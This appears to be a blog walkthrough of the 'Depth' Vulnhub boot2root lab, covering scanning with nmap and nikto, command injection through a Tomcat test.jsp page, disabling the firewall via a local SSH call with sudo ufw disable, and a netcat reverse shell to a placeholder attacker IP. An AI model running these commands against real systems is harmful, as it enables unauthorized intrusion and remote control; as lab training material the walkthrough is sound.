We covered the solution for Depth Vulnub lab and covered command injection in JSP or known as Jakarta Server Pages.
Description
Many times while conducting a pentest, I need to script something up to make my life easier or to quickly test an attack idea or vector. Recently I came across an interesting command injection vector on a web application sitting on a client’s internet-facing estate. There was a page, running in Java, that allowed me to type arbitrary commands into a form, and have it execute them. While developer-provided webshells are always nice, there were a few caveats. The page was expecting directory listing style output, which was then parsed and reformatted. If the output didn’t match this parsing, no output to me. Additionally, there was no egress. ICMP, and all TCP/UDP ports including DNS were blocked outbound. I was still able to leverage the command injection to compromise not just the server, but the entire infrastructure it was running on. After the dust settled, the critical report was made, and the vulnerability was closed, I thought the entire attack path was kind of fun, and decided to share how I went about it. Since I enjoy being a free man and only occasionally visit prisons, I’ve created a simple boot2root style VM that has a similar set of vulnerabilities to use in a walkthrough
1. Initial Scan & Discovery
I started by performing an nmap scan of the vulnerable machine. Initially, only the HTTP server (port 80) appeared open; the SSH server (port 22) was closed due to a firewall. Conceptual nmap command: nmap -sV <target_IP>
Navigating to the web server revealed an Apache Tomcat page. Using a scanner like Nikto, I discovered a crucial file named test.jsp. Conceptual nikto command: nikto -h http://<target_IP>
2. Exploiting the JSP Vulnerability
The test.jsp page had an input box that allowed users to enter commands to get directory listings. This immediately indicated a Remote Command Execution (RCE) vulnerability.
- I could list contents of directories like
/tempor/etc. - By listing the
/homedirectory, I found a user directory named “bill”. - Listing the contents of
/home/billrevealed an.sshdirectory, which was a key discovery as it indicated an SSH server was running internally on the machine, even though the external port was blocked by a firewall. Conceptual command injected intotest.jspinput box:ls -la /homeandls -la /home/bill
3. Disabling the Firewall
The next critical step was to use the internal SSH client to disable the firewall and open the external SSH port. The video mentioned the command to disable the firewall using sudo ufw disable via the internal SSH client, although I had already performed this action prior to the recording.
Conceptual command (executed via test.jsp‘s RCE, targeting the internal SSH client): ssh bill@127.0.0.1 'sudo ufw disable' (This would involve SSHing to localhost as the “bill” user, then executing the sudo ufw disable command to open the firewall. The video implies that “bill” has sudo privileges for this specific command.)
After running this command, a rescan of the machine would show the SSH port (22) as open externally.
4. Gaining Root Access
With the SSH port now open, the next step was to establish a reverse shell. I used a pre-copied command to initiate a netcat session back to my attacking machine. After a slight correction in the command (removing an accidental space), I successfully gained root access on the vulnerable machine.
Conceptual command (executed via test.jsp‘s RCE once SSH is open): nc -e /bin/bash <attacker_IP> <listening_port> (This is a common netcat reverse shell, assuming netcat is present on the target with the -e option)
On attacker machine, before executing the above on target: nc -lvnp <listening_port>
